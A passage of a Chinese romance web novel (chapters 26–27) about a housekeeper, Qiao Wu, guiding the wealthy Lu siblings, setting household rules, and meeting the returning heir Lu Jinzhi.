陆应池茫然。 乔梧温声说:“你身边的人没有办法决定你是什么样的人,你现在能这么想就说明你不是没用,看清以后远离就是了。” “那我以后要是还分辨不清呢?” “那你会同流合污吗?” 陆应池摇头。 “会阻止吗?” 陆应池迟疑了一下,缓缓点头。 乔梧笑着看他:“那怎么会是分辨不清呢?哪怕你现在去大街上随便找个人,也没有办法知道对方是好人还是坏人,不要提前给自己透支烦恼。” 可即便是这样,陆应池心情还是没有变好。 陆柠还知道好好学习,知道去看书,现在陆宣也每天都去公司上课,可他却不知道自己要做什么。 “我是不是该去公司?” “你想去?” “我不知道。”陆应池很不愿意承认,但还是说,“陆尽之18岁的时候已经可以自己单独负责一个项目了。” “他是他,你是你。”乔梧说,“如果这是你想做的事,你可以试试跟你爸和你哥说说看,他们不会拒绝你的。” “但如果这不是你想做的事,就先放一放,直到你找到自己想做的事为止。”她说,“你学校里有很多人都跟你一样,难道那些人也没用?你花在学习上的时间不就是一个找到自己的过程吗?如果你能有收获,哪怕你最后只是交到一个值得的朋友,那也不算浪费时间。” 陆应池:“那怎么能一样。” “为什么不一样?你出生在这样的家庭,这就是你的底气,只要你没有愧对家庭,你做什么都可以。” 其他的陆柠听得迷迷糊糊,但最后这句话陆柠听懂了。 因为在学校乔梧也是这么告诉她的。 “就是你可以合理合法的仗势欺人,暂时做一个无忧无虑的富二代。”陆柠解释。 她下巴搭在酒瓶上想了想:“陆应池,如果你真的不知道自己要做什么,你就做我的家教吧,等以后我考上大学长大能工作挣钱了,你也算是功德一件,我一个学期给你送一面锦旗怎么样?到时候你回头一看就会发现自己战功赫赫!” 陆应池抽了她后脑勺一下:“你能不能滚?” 陆柠瞪他:“不识好人心!” “陆应池。” 陆应池嗯了声,回头望向身旁的人。 乔梧不知道什么时候也给她自己倒了一杯酒,她举起来轻轻碰了碰桌上那杯还没喝过的酒,然后一饮而尽。 “做自己也是一件很难的事情。”她认真说,“所以你能做好自己就很厉害了。” 陆应池一直被压着的心在这一刻忽然托着上面那块大石头重重一跳,让他从浑噩中挣扎醒来。 他动了动发麻的身体,俯身将桌上的酒杯拿起来:“知道了。” “吃饭?陆宣应该也要回来了。” 一大一小跟着从沙发上站起来,见陆柠还抱着酒,陆应池皱眉:“你还想学喝酒?” 被戳穿的陆柠眨眨眼。 她觉得乔梧喝酒好酷! “一会儿吃饭不庆祝一下吗?”她顾左右而言他。 “庆祝什么?” “庆祝你长大了。” 陆应池深吸一口气,一把揪住她的小辫子:“老子今天给你脸色太好看了是吧,放回去!” 原本今天定在客餐厅吃饭,所以做了很多菜,现在人都走了,大家也懒得挪地,干脆坐在同一张大圆桌上。 不像过去那样各吃各的,乍一看还真挺有一家子吃饭的既视感。 吃饭途中陆应池手机响了,他看了眼,是郭力言发来的消息。 今天这些人他看到一个就想拉黑一个,但郭力言托他给乔梧转告歉意。 陆应池不理解:“他都站在你面前了,怎么还让我转达。” 还单独发消息过来说。 乔梧又不会读心术,自然也不知道这些人在想什么:“跟他说我知道了。” “那顺便帮我也转达一下呗。”陆柠凑过来看他手机,“跟他说谢谢今天他教我写作业,陪我看书。” 陆宣坐在最外面,陆柠的身边,亲眼见陆柠搬着椅子远离自己蹭到陆应池那边,他微微眯眼。 很久以前就发现了,不知道怎么回事陆应池跟陆柠走得越来越近,以前说两句就吵,现在居然还有共同的社交圈子了? 明明都是早上一起出门,晚上一起吃饭,到底哪一步他不在? 当然,他并没有想要跟陆柠或者陆应池走得近的意思,就是莫名觉得自己被排挤了。 他,陆宣,未来之星。 被人排挤? 真的天大的笑话! 陆宣喝着汤,勺子敲得碗边清脆作响,乓乓乓! 但压根没人在意他。 陆应池拍开陆柠的脑袋,臭着脸说:“怎么没听你对我说谢谢?” 陆宣忍不住了,强行插入话题:“你还没听够?” 每天早上晨铃里陆柠的声音都快成他的心魔了。 陆应池一想也是,还是算了,他随手给郭力言回复了几句。 乔梧倒是不知道后来藏书室发生了什么,随口问:“那个人去陪你玩了?” “昂。”陆柠点头,“陆应池不爱看书,但那个人看,还说得头头是道的,又给我推荐了几本。” 要是以前陆应池还会迟疑一下,但现在的他已经变了。 他是钮祜禄陆应池! “别给你一颗糖就巴巴替人说话,到时候被骗了都不知道。”他泼冷水。 “是是是。”陆柠冷笑,“你清醒,你听到警报转身就跑,那个人好歹还知道先带我去找保安。” 陆应池:“……” “而且我也没要他的礼物。”陆柠觉得自己是很警惕的,因为她从来不交朋友,谁也不能伤害她。 “还约我们吃饭,在外面。”陆应池看着手机说,“有病吧,他是不是当我失忆了?” 他现在有脑子了:“这些人说是来找我玩,看高尔夫球场,但是球没打几分钟就厌烦了,还找事儿,少不了藏着什么 心思呢,老子才不上当,让他自己玩去。” 真是从象牙塔里走出来的少爷,不知人间疾苦。 乔梧慢条斯理吃着自己的东西,轻声说:“他有话跟你说吧,不然不会这么几次三番的,让他直说,以你的脑子还听不懂。” 陆应池差点把手机捏爆! “我听得懂!” 虽然这么说,但顾及到陆柠他还是发了条语音过去,拽逼兮兮:“有事就说,我没工夫跟你拐弯抹角。” 郭力言没想到陆应池会这么直接,可是现在让他直接说出口他又没有脸。 想了想,他也打了电话过来,表示自己的诚意:“我是认真想单独请你们吃饭道歉,如果你们觉得可能的话,能不能给我一张你家这次晚宴的邀请函。” 靠! “你想都不要想!”陆应池啪的挂了电话,“我就说他一定有目的!晚宴的名单不是拟了么,关我屁事。” 又觉得不解气,骂了声:“陆尽之是哪个动物园出来的珍稀猴子,这么多人都想看他。” 陆宣摸了摸桌面的手机,实在后悔没把这句话录下来。 不然就多一个人跟他一起被停卡了。 乔梧不太意外,她解释了一下:“以陆家名义邀请的,的确是拟完了,但以你的名义还没有,如果你有朋友要来可以跟我说,一个私人聚会而已,朋友还是有资格的,不过只能你朋友过来,多一个其他人都不行。” “那些人都是什么歪瓜裂枣,他们能来干什么?”这时候陆应池倒是有自知之明了。 乔梧失笑:“那不好说。” 陆应池觉得这话不太对劲:“你不讨厌郭力言?” “他叫郭力言?”乔梧点点头,“为什么要讨厌他?” 陆应池:“目的太明显了。” “四少爷。”乔梧撑着下巴转过来,目光含着打趣,“你出生就在罗马,自然不知道有些人为了到达罗马要走多远,他或许接近你有目的,但如果你也得到了自己想要的东西,那这种接近为什么不可以?就跟以前胡卓他们给你提供了情绪价值,所以你愿意给他们花钱一样。” 她如果没记错的话,今天她回头制止陆应池拿着酒瓶冲上去打人时,看到郭力言站在门口,将陆柠护在了身后。 从头到尾他也没说过什么出格的话,连离开的时候都没敢开口。 “商业合作都还讲究有来有回利益交换,生活为什么不可以?”乔梧说,“如果是用正当渠道来争取他想要的东西,那是他自己付出的努力、是他的手段,我并不讨厌这样的人,至于别人接不接受就另说了。” 现在的陆应池还没有什么需要去讨好别人才能得到的东西。 不对,有一个。 他看着乔梧,忽然明白。 为了乔梧能留下来不跳槽,能多放一点注意力在他身上,所以他愿意听她的话,哪怕跟陆柠不对付,也会教陆柠写作业,这是他的手段? “如果你觉得开心,那你适当给予对方一个甜头也不是不可以。”乔梧说。 陆应池思路开始歪了,并且对号入座。 她开心,所以她会陪他聊天,陪他喝酒。 乔梧:“如果你不喜欢,那只能说明他没合你心意,拒绝就是。” 陆应池条件反射:“那不行!你不能拒绝!” “?”乔梧挑眉,“跟我有什么关系?” “我是说……”陆应池回过神,“嗯,你说得对,该给他一点甜头。” 不然下次你拒绝我怎么办! 陆应池换位思考了一下,忽然狠狠的跟郭力言共情了。 反正陆柠今天也开心,郭力言的确准确地对上了他的需求和喜好,在酒库的时候给他提供了他喜欢的选项,很有眼力见。 乔梧提点到这里就打住了。 换做别人或许这些事都用不着她来点通,但陆应池他们几个一根筋,在温室里待久了不知道社会有多险恶,以后说不准就有了自己一套独特的交友方式,那可能会有点困难。 至于他会不会继续跟那个郭力言结交,就不在她的考虑范围内了。 “但仅仅限于你。”她说,“你知道的只有这个人,而不是对方的家庭和圈子,所以除了特定的人外不要再给予他额外的权利,至于对方怎么处理这个机会,那是他自己事。” 陆应池:“噢,那我给他个甜头吧。” 他把今天除郭力言以外的所有人都给拉黑了,然后给郭力言发了个语音。 “饭就不吃了,你想来就来,但只能你一个人来。”他轻哼一声,“不就是陆尽之么,给你一个看猴的机会。” 乔梧:“……” 陆宣:“!” 录到了! 啊哈哈哈哈哈! 第26章 第二十六章二更 陆宣刚高兴完又忽然发现一件很重要的事。 陆尽之把他拉黑了,至今还没把他从黑名单里放出来。 玛德! 活该被人骂猴。 他正思考着要不要通过邮件发过去时,又犹豫了。 现在他的钱都是乔梧给,如果真的给陆应池的卡也给停了,到时候乔梧说不准也要去找陆应池做交易。 陆宣用一种十分复杂诡异的目光打量了一遍陆应池。 凭心而论长得也就那样吧,洗手液都能当沐浴露从头抹到脚的玩意儿,跟自己肯定没得比,一个幼稚没脑子的傻大个黄毛。 但幼稚=年轻。 没脑子=好骗。 傻大个=个高身材好。 这种类型的男大现在是不是挺受欢迎的? 要是乔梧真的跟他做了交易,陆应池能有什么给她的? 陆宣慎重地考虑了很久,终于狠心放弃了这次来之不易的机会,陆应池可以花钱,但绝对不能让乔梧做陆应池的金主! 在无人知道的角落,自己偷偷激动又悄无声息做完思想斗争的陆宣又悻悻收回了手机。 陆应池将消息发出去以后,另一头的郭力言瞬间就被惊喜冲坏了大脑,他没想到这件事会这么容易! 不用像以前那样一定要去他们的圈子里喝酒或是要做很多让人觉得不舒服的事。 所以他是真的很感激陆应池,就算对方可能只是一次随意的施舍。 他小心翼翼地打字:“我还是请你吃饭吧,你随便选在哪里都可以,我绝对不带其他人。” 很快陆应池就回了他:“不缺你那顿饭,要谢就谢乔梧。” 紧接着陆应池又发来第二条:“算了,她也不缺你的饭,你离她远点就行。” 郭力言:“……” 他愣愣地看着屏幕上的字。 原来那个乔管家叫乔梧,是她替自己说了话吗? 还是说这个名单是她拟的? 自从看到那个人的第一眼,郭力言就没敢想自己会在她的眼里留下什么印象。 他看着手机上那个名字,紧紧抿住唇,将车停好进了家门。 家里人坐在餐桌上,一见他就皱起了眉:“你怎么这个时候回来了?没跟陆少吃饭?” 郭力言垂着眸:“没有,汪自明今天喝多了在陆宅闹事,被赶出来了。” 郭阳洲放下筷子,不悦道:“所以你也被赶出来了?” 郭母立刻出来打圆场:“力言不是说因为其他人吗,也不怪他。” “还不怪他?平时眼睛不擦亮一点,跟谁能玩到一起都不知道!白白浪费这么好能进陆家的机会。”郭阳洲根本没把这个后妈放在眼里,厉声道,“你还替他说话,就是因为这样他才一点本事都没有,这很光 彩吗!” 郭母脸上不太好看:“阳洲……” “真是没用。” “行了。”半天没表态的郭父这才出声,“既然得罪了人家,就别闲着,想想办法要怎么去给人道歉,傻站着干什么?” 郭力言走进餐厅,先是看了看母亲,又看了看他的父亲和哥哥,然后说:“陆应池说晚宴我可以去。” 整个餐桌刹时变得安静。 须臾还是郭母惊喜地站起来:“你说什么?” “他说我可以去,他给我这个机会。”郭力言重复。 郭父的表情也顿时由阴转晴,脸上堆起笑容:“坐下说,他答应你了?的确是那个晚宴吗?” 郭力言点头:“见陆尽之的晚宴。” “好好好!”郭父一拍桌子,指着郭阳洲说,“你到时候把家里最好的那辆车开出去,礼服也抓紧定,时间要来不及了!” 郭阳洲重新拿起筷子:“好。” 这两人一唱一和,看得郭力言一阵反胃,他轻声说:“陆应池说,只能我一个人去。” 郭阳洲的筷子掉到桌上,阴沉沉道:“什么叫只能你一个人?你去能做什么?” “可能因为是他邀请的我。”郭力言平静地说,“他只认识我,所以特意说了只准我一个人去。” “你是不是故意……” “好了!”郭父按住了大儿子,沉默了几秒后声音放缓了点,“既然是**少说的,那就力言去吧,但是你要记住一定不能出错。” 郭力言点头。 “让你妈妈带你去买点像样的衣服,那车,到时候你也开去,别失了颜面。”郭父抬抬下巴,又让佣人给他添了一份碗筷,“不是说没吃饭就回来了?吃吧。” 在郭阳洲目眦欲裂的表情下,郭力言拿起筷子。 在这一瞬间他忽然从脚底开始升腾起一种怪异的爽感。 站在利益顶端拿捏别人,原来就是这种感觉。 所以乔梧在跟陆应池说这件事的时候,也考虑到了这些吗? 他想起那个立在桌前回眸看过来的身影,胸前像是滚了沸腾的开水,难以平静。 陆家这边。 难得几人坐得这么近吃饭,胡乱扒完饭后陆应池推来一个白板,那是他为了教陆柠写作业专门买的。 陆柠还在吃饭后甜品,见状yue了一声:“别拿这么影响食欲的东西来餐厅可以吗?” 陆应池:“小嘴巴,请闭上。” 陆柠:“……” 陆宣:“……傻逼。” 他站起身就要走,却被陆应池一把按住:“趁着人都在,我有大事要说。” 乔梧还有点兴趣:“说什么?” “我有一个计划,第一步就是先立个家规。”陆应池将白板敲得邦邦响,“有什么异议你们可以提出来,但我有一票否决权。” 陆宣打开他的手:“否决无效,这什么傻逼东西?” 陆应池俯身在他耳边语气阴森:“我把这个计划称作为‘争气’计划,请问你有什么高见?” 神他妈争气计划。 怎么,你这架势看来你也要迎来属于你的“争气”时代了? 但话又说回来。 陆宣屁股坐回去:“听听也行。” 一听争气计划,乔梧就没忍住想笑,只是这几人严肃的表情让她没好意思笑出声。 “首先,每个人给自己定一个小目标。”陆应池说。 “陆柠你就……期末考试别倒数第一。” 陆柠怒而拍桌:“你瞧不起谁呢!” “我是给你后路,万一你要是没做到。”陆应池视线飘到乔梧身上,“你知道什么后果吗?” 在这一刻陆柠居然神奇跟陆应池对上了脑回路:“但话又说回来,知识不是一天两天就学得完的。” 目标不要太超前,到时候没完成就丢大人了! 后果承担不起。 这两人光明正大密谋的样子实在是太难让人忽略了,乔梧抱着手:“我很好糊弄吗?” “那……”陆应池犹豫了片刻,“换一个目标,陆宣你……” 他指着陆宣:“你先去电影节搞个影帝回来。” 陆宣:“……” 这么明显的区别对待,还说他没有被排挤?! 他翻了个白眼:“不行你自己去办个电影节批发影帝?” 陆应池惊讶:“还能这样?” 陆宣觉得自己在这儿跟他们浪费时间纯粹是刚才吃多了发饭昏做下的冲动决定。 可能也意识到自己想的都太极端,陆应池只好放低了一点底线:“那陆柠你每天完成作业不逃课不滋事不被请家长,这样行了吧?” “我现在就是这样!”陆柠十分骄傲,“我已经做到了!” 不争气的是你们! 陆应池放心了,这下就是容易做到的。 “我呢,就跟陆柠一样,期末不挂科,争取绩点好看一点。” “陆宣你……娱乐圈除了影帝还有什么奖?” 这个他真不知道。 陆宣看了乔梧一眼,见她真的对这个傻逼计划感兴趣,不得不开口:“我按照公司计划做,行了?” 计划是乔梧定的,这样她应该没意见吧。 虽然陆应池听不懂,但乔梧陪着陆宣去了公司他是知道了,趁着乔梧还没反悔,他立刻敲板:“那就这样定了,下一个就是家规,我先说!” 他为了这一刻已经铺垫得太久,所以十分记仇地在白板上唰唰写下一个名字,大声道:“以后我们家,钟禾静禁止入内!” 陆柠举手:“我同意!” 乔梧:“……” 这家里到底有几只小学鸡。 “我一票否决。”她说,“钟禾静是我的朋友,也是这次陆家的客人,你们不能夹带私货。” 再次被排挤的陆宣轻啧:“有什么私货是我不知道的?” 乔梧:“你不知道也没关系。” 要是被陆宣知道了,以后钟禾静再来钟家,那真是会被仇视的。 她压根就不该指望这几人能做出什么正经事来,所以她起身走到白板旁边:“既然是争气计划,那家规我来定应该没问题吧?毕竟我是管家。” 陆应池谨慎地问:“那我还有一票否决权吗?” 乔梧微笑:“你说呢?” “……” 她不顾陆应池的反应,从他手里拿过笔,顺便拿出手机,把这几人拉了个群,然后把手机里之前一直准备的文件发在群里。 “除陆柠以外,这两份文件你两最好熟读并且牢背,我能保证你们至少可以少走五年弯路。” 三只小学鸡低头一看。 群里两个文件明晃晃地写着。 《狗血豪门排雷指南》 《传统霸总是怎么养成的》 “后面这个文件指向性太强了。”陆宣问,“你确定不是在骂陆尽之?” 他指了指陆柠:“小学鸡。” 又指陆应池:“傻大个。” 再指自己:“帅逼,未来巨星,娱乐圈颜王。” 然后摊手:“跟霸总都没关系。” 陆应池恨不得将他的汤盅扣陆宣脑袋上:“老子要是办电影节,第一个奖不要脸之王一定颁发给你!” 乔梧是没想到今天会开这么个会,所以没有提前准备,就顺便用给陆尽之的文件发给他们了:“只是名字的区别,里面的条款你们用得上。” “除此之外,还有几条家规是专门针对你们的。” 她在白板上写了个一:“晨铃我会根据你们不同的起床时间让人按,不准任何人破坏公共设施,如果你们对晨铃音乐有异议,欢迎你们提供新的音乐素材。” 这正中陆宣下怀,改天就把陆应池骂陆尽之的录音改成他的起床铃。 “第二,我跟陆宣的合作里,你的艺人形象要保持,所以每天去公司之前,必须晨练,至于陆柠和陆应池,你们可以根据自己的身体需求来决定要不要去。” “第三,我放在餐厅的移动电视每天都会播放新闻联播和法制频道,每个人都要看,常用的法律法规必须熟记,做好笔记,我会定期检查并考核。” “第四:陆柠禁止饮酒,陆宣和陆应池,你们可以正常交友应酬,但是饮酒适度,我会在家里准备酒精测试仪,特定情况下需要大量饮酒的话,需要报备并且身边一定要有自己人,其余时间禁止醉酒。” “第五:鉴于每个人的行动圈子不同,但是迟不归家会让人担心,所以晚 归要提前报备,我会告知保安室,正常情况下家中门禁时间为晚上十一点,非特殊情况不可在外过夜,过了门禁时间回家不会开门。” “第六,禁止对任何家人以及家里所有佣人言行不当,尤其是老先生,在老先生生病期间,你们必须每周抽出时间去探望,探望时间不能少于半个小时。” “以上。”乔梧点点白板,“望互相监督,举报有奖。” 陆柠问:“什么奖?” “神秘大奖,因人而异。”乔梧其实还没想好,“到时候再说。” 陆柠立刻举手:“那我举报刚才陆宣言行不当人身攻击!” “哪里不当?”陆宣盯着她,“实话都听不进去了?” “他还威胁我!” “好了。”乔梧没工夫听他们在这儿扯头花,“没什么异议就这样,我会把这些整理出来都发给你们,早点休息,明天会有几个品牌过来送衣服,你们挑挑自己喜欢的。” 换季的衣服早就送来了,这个时候送衣服也就只有礼服了。 陆宣一点都不想跟陆尽之出现在同一个画面里,他担心自己真的会暗杀他。 所以他压根就没打算参加这个晚宴:“陆尽之的回国晚宴,跟我们有什么关系?” “第七。”乔梧挑眉,“家中大小聚会,任何一个人不可无故缺席。” 所有人:“……”- 按照陆尽之发来的航班信息,乔梧提前半小时就在专属通道候着了。 如果说后面这十多年她跟其他几个人还有些接触的话,跟陆尽之几乎就等于是个陌生人,所以说实话她也不清楚陆尽之变成了什么样,毕竟过去对方连她的信息都不回。 这段时间以来她总是会在闲下来的时候偶尔想起梦中陆尽之看她的神情,与那天在会议室里的判若两人。 所以一会儿他会用什么目光来看自己? 想了一会儿想不明白,她干脆就不想了。 为了能让陆尽之回国后有时间调整自己的作息时差,晚宴安排在两天后,每天都会细节有些改动,她需要时刻确认。 不知过了多久,她听到手机叮的一声,是她调好的闹钟响了。 乔梧抬起头来,正好司机将车门打开。 她收拾好东西准备下车,抬头却见贵宾室门口走来三个人,她愣了一下。 被中外两个西装革履的助理围在中间的男人眉眼冷俊无双,他并没有穿很正式的西装,简单的墨绿色衬衫挽起袖口,领口扣子解开两颗,脖子上系着男士提花长巾,一枚蓝宝石饰品扣在其间。 即便对方神色并没有很冷,却依旧远比在视频里的男人看起来要有压迫感得多。 显然对方并没有给她下车的时间,视线扫过来时步伐并未停留,而是直接走到了车前。 虽然陆宣一直说陆应池傻大个,但实际上陆尽之并不比陆应池矮,相反还比陆应池多了几分气势上的高度。 他一只手搭在自己的腕表上,垂着眸,眼中含着不及眼底的笑意:“不让?” 不同于传统那些霸总低沉的声音,陆尽之说话尾音常常上扬,所以会给带给人一种他很温和干净的错觉。 为了方便下车,乔梧一直坐在车门这一边,现在陆尽之没给她机会下车,她只好起身往旁边挪了个位子。 陆尽之放下手,回头看了两个助理一眼,两人便自觉去了后面的行李车。 在陆尽之上车后,司机也将车门关上。 隔绝掉外面的喧闹,车里的安静顿时变得有些刻意起来。 对上陆尽之,乔梧没有办法跟他打太多的感情牌,所以问:“要先休息还是聊工作?” 陆尽之坐在乔梧之前坐过的位置上,不知是不是车里的空调温度不合适,还是他的错觉,他总觉得这里还残留她的温度,以及淡淡的熟悉味道。 并不存在什么休息不好之说,他在飞机上该吃吃该睡睡,从来不会让自己委屈一点,所以现在精神还不错。 但他什么都不想聊。 他回想从贵宾室走出来,看到车门打开那一瞬间,车里的女人抬头看过来,因为她坐着,所以第一时间令人注意到的是她的脸,挑剔如他,连陆宣引以为傲的样貌在他眼里不过也只是条长得好看点傻狗,可他却没办法在那个时刻找到她五官的一点瑕疵。 以及他习惯性观察的眼睛,哪怕隔着薄薄的镜片,也能被她恬静却温柔坚定的目光注视着。 有那么一瞬间陆尽之好像看到了过去的某个影子。 很奇怪,连他都不是当初的陆尽之了,可为什么会有人一点没变。 又或者是……变回去了。 他弯了下唇:“第三个选项。” 乔梧似是不解地往他的方向看了一眼:“第三个?” 陆尽之嗯了声:“比如你那些消息,原本要发给谁?” 乔梧:“……” 这茬还没过?! 第27章 第二十七章你在说我老? 乔梧被问得实在有些猝不及防,她没想到陆尽之这样的人会在意这种没有意义的事情,让她一点准备都没有。 她愣怔过后很快找到借口:“就是……一个你不认识的朋友。” “在你说之前不认识。”陆尽之说。 说之后就不一定了。 “……”乔梧面无表情,“这只是一个误会,你一定要让我下不来台吗?” 陆尽之靠着车椅,双手交叠闲散放在身前,闻言略微侧过头看了她一眼,而后笑了声干脆承认:“嗯。” 果然。 乔梧心道,有的人再怎么改变,骨子里的特质是改不了的。 或许是因为陆尽之比普通人聪明,他从小就不太能与旁人共情,他喜欢通过别人明显的情绪表现来观察对方的情感,所以他时常会有些恶趣味,小时候会更恶劣一些,常常抢陆宣和陆应池喜欢的东西,看来现在也是如此。 不然他也不会仅仅因为一句话就停了陆宣的卡。 “那就是发给你的。”乔梧顺着他的话说,“你现在有什么感想?” 陆尽之还真认真思考了一秒。 然后说:“不敢想,很可怕。” “那就不要问。”乔梧说,“不然以后我一天问你一次。” 受到意料之外的威胁,陆尽之稍稍愣了一秒,随即失笑。 诡异的是听到这句威胁,他并不像之前收到消息一样那么反感,可能是因为乔梧识破了他的诡计,也可能是因为对方的语气一点都不在意。 总之,他比较受用。 其实他也并不是很在意她之前那个拙劣的借口,真的也好假的也好,发给他也好发给别人也好,他做完决定的事一般都不会再回头看。 只不过刚才见到乔梧的一瞬间,他忽然想听听这个人说那句话时会是什么表情什么语气。 还好,不是真的。 毕竟上一次跟乔梧好好说话还是十几年前,那会儿的她只是一个十来岁的小孩。 “不问了。” 他并不愿把精力浪费在这种无意义的问题上。 两人并不是什么可以叙旧的关系,陆尽之也不想在自己难得清闲的时候听人汇报工作,所以在恶劣趣味没得到满足后就阖眼休息了。 再睁眼时已经到了陆宅。 家对于陆尽之而言只是一个可以舒服睡觉的地方,生活也还算方便,其余再无其他,所以哪怕两年没回来他对这里有什么改变也没有任何兴趣,不过就是换了个地方上班而已。 所以他下了车后就兴致缺缺的垂着眼径直往楼上去,步伐虽然迈得不大,但仗着腿长速度走得很快。 乔梧跟着他的节奏走在后面:“什么时候方便挑礼服?我让人送来。” 面前的人忽然一个急刹车,乔梧差点一头撞他肩膀上,还好她反应快侧了个身,手臂堪堪擦过陆尽之的手肘。 在炎热的夏天,谁都会对冰凉的东西下意识多 一些关注。 陆尽之朝身侧看了一眼,正好看到对方细白的手臂离开,那丝冰凉转瞬即逝。 他收回视线:“随便。” 乔梧见他精神还好,便道:“那就现在吧,早点挑多一些时间选择。” 陆尽之没回答,他正在看一楼大客厅墙边挂着的行为守则以及短期目标,目光中透出缕缕不解。 这种东西他只在小学时的教室里见过,就是没几个人遵守,这种东西为什么会出现在这里? 这么多年以来,陆尽之第一次意识到陆家原来也是有不同的。 他走过去将所有的规则都看了一遍,发现每一条的指向性都很强,甚至都能把人对号入座,而在这幅守则的右下角,印着他熟悉的梧桐叶。 他得到结论——乔梧弄的。 从十二年前开始陆家每一个人都走向了不同的路,所以陆尽之曾经认为最后大家注定成为同一屋檐下流着同样血液的陌生人。 可如今这些名字紧密出现在同一个画面里,让他生出了另一种更陌生的感觉。 好半天,他眸色微转:“我回错家了?” “嗯?”乔梧联系完送礼服的人,顺着他的视线看过去,恍然,“这是他们之前定下来的家规,你看看哪里不合理,有什么需要修改的地方吗?” 陆尽之简单直接:“它的存在本身就不合理。” “他们还挺积极的。”乔梧说。 “更不合理。” 陆尽之回头,笑问:“你好像很了解他们。” “同一屋檐下生活这么多年,了解他们不是应该的吗?” “可你是乔梧。”陆尽之说。 “所以呢?” 陆尽之没再看那种幼稚的东西,仿佛多看一眼都是浪费自己的时间,听乔梧理所因当问出“所以呢”三个字,觉得有些好笑。 他转过身,视线轻轻落在她的眼睛上,温温和和地问:“你的意思是,你在对我说只会关注我一个人的同时也在关注其他人,并且已经将对方了解得很透彻了?” 乔梧:“……潜移默化。” “所以你对我潜移默化的了解有多少?”陆尽之耐心地问。 那还真没有。 陆尽之根据她的反应得出结论,轻笑:“所以作为辅佐我的人,了解我却最少。” 以乔梧过去十来年对陆尽之浅显的认知,他并不会对某一个人或某个事物表现出明显的占有欲,因为他会在第一时间计算出这件事的价值。 他想要的东西会不择手段拿到,心不在他那里的人,他也会毫不犹豫抛弃。 所以他现在的言行无非就是想看到她的错愕和惊慌,以满足他想窥探到她真实情绪的目的。 所以她心平气和地说:“那也不一定。” “嗯?” “老先生过去是跟我说需要辅佐陆家未来的掌权人。”乔梧轻轻抬眸笑道,“但现在还未可知,毕竟过去你没有给我机会了解你,我只能去了解别人,更何况陆家除了你还有其他人,陆宣不是也说过要取代你吗?谁说你一定就是未来的掌权人了?” 陆尽之眉心轻轻一跳。 “不说陆宣,陆应池也才十八岁,年轻充满干劲,未来可期。”乔梧指着写下目标的几个人,“再不济还有陆柠,她聪明活泼又上进,等她到了你这个年纪,说不准会比你更加有成就。” 陆尽之:“……” 他将所有的信息迅速整理,得到了最终答案:“你在说我老?” 也才十八岁。 你这个年纪。 他什么年纪,不是才二十七? 陆尽之听惯了别人说他年轻有为,少年天才,第一次听人说他“这个年纪”。 乔梧:“?” 这是什么奇怪的脑回路? 她语气温温:“没有,我只是在提醒你后来者居上,你还需努力。” 又问:“我给你发的文件你没看吗?” 什么文件? 那份奇怪的什么霸总排雷指南? “我需要看那种东西?”想到这个陆尽之就觉得眼睛脏了。 “传统霸总通病其一,骄傲自负自满,这样不好。”乔梧好心提醒,“容易火葬场,各种意义上的。” 陆尽之听乐了。 现在不仅说他老,还说他自负。 “你真有意思。” “引起了你的注意?”乔梧谨慎,“只要是正常人都会这么想,所以千万谨慎不要出现这样的想法,这更危险。” 都什么乱七八糟的。 陆尽之彻底熄了要从她这里找到乐趣的想法,神色也终于变得浅淡,转身又出了门。 “不是看衣服么?你去哪?” 陆尽之头也不回:“让模特拍好图发过来。” 大多数情况下他们不会亲自试衣服,品牌方会实时更新他们的相关数据库,所以送来的衣服不会尺码不合,看的也都是款式,合心意就留下。 如果是定制的礼服,想试就试,不想试也会有模特上身专门给他们看。 乔梧的工作内容并不包括要实时跟在谁身后,所以并没有过多干涉陆尽之的行程。 从主宅出来,陆尽之也没有去哪,而是在看到行为守则上的叶片后想起了自己之前的打算。 他要去一趟藏书楼。 路上他的大脑飞速运转。 他又一次判断失误依旧是在乔梧身上,她不是没变,而是变得更加难以对付。 小时候的她从来不会对他说这么重的话,更多时候只是安静又乖乖地站着,时不时还会对他露出一些崇拜的情绪。 被陆宣和陆应池那些傻狗羡慕并不是什么值得骄傲的事。 但如果是被乔梧那种聪明乖巧的孩子崇拜着,的确会让少年时期的他心情愉悦,也是他自信的来源。 可现在他却被那个人说自负。 在意。 她没说错,她的确引起了他的注意。 藏书楼空无一人,但一楼中间的桌上摆放着一些书和文具。 陆尽之发现了几本眼熟的,脚步微微一顿。 陆家的佣人不可能会放任这些书散落在桌上,除非是有人特意叮嘱过,但陆家除了他还会有谁来这里? 他走上前翻开最上面那本《苏菲的世界》。 有阅读书签,说明有人近期正在看。 然后他就看到了熟悉的字迹,是他离开之前就看过的,十多年前的乔梧留在上面的笔迹。 除此之外还多了一两张新的便签,只不过上面只有鸡爪薅的印子,歪七扭八。 陆尽之莫名有了种私人领地被侵犯了的不悦感,但他不会委屈自己。 所以他毫不犹豫将那两张鸡爪印拿了出来。 嗯,这样就舒服多了。 继续往后翻。 可里面再也没有出现新的便签纸,陆尽之这么多天的期待落空,神色也渐渐淡了下来,刚要把书合上,一张便签就落了下来。 他视线落下,忽的一凝。 跟过去出现新的便签不同,这次在他的旧便签下,出现了熟悉的字迹。 “会越过自由的海,去任何她想去的地方。” 他对自己的记忆力一向很有自信,尤其是自己留下的东西。 所以最新这句是在他出国之后才写下的。 他出国时乔梧也出国了,所以这张便签上的那句应答。 在十二年后姗姗来迟。 这段时间以来的疑问在这一刻好像也隐隐有了答案。 门口传来的轻响打断了陆尽之的思绪,他捏着便签回头,看到抱着书包进来的陆柠。 陆柠也没想到藏书室会有人,陆应池不是今天要晚点回来吗? 她往外掏着作业:“我今天在学校写了作……耶耶耶耶!” 看清桌前站着的人后,她紧急刹车牢牢贴在了墙壁上,将书包挡在胸前,慌张地望着那个高大的男人。 陆尽之做事从来不按常理出牌,没人猜得透他的心思,所以两年前他离开时悄无声息,要不是爷爷回来大发雷霆,所有人都不知道。 她从来不敢靠近陆尽之,哪怕是偶而同桌吃饭都只敢坐在最远的地方,吃完就跑,而对方似乎也不会把她放在眼里,跟她几乎没有什么交流。 所以在陆尽之离开后,她只觉得一直压在头上的那座大山忽然消失了,还松了一口气。 此时此刻那座大山又悄无声息回来了,而且两年的时间并没有把他身上 的屏障给击破,甚至于他的气场更强,灯光仿佛专门打在他身上一样,在他冷淡的脸上投下一片看不清眼神的阴影。 他、他怎么回来了! 哦对,他本来是要回来的。 陆柠下意识就想跑。 可陆尽之看过来的视线却将她硬生生定在原地,在最初的惊愕后就不敢说话了。 听到一串的爷爷,陆尽之莫名想到乔梧那句“你的年纪”。 他收回视线淡淡道:“下次当着你爷爷的面再这么叫我。” 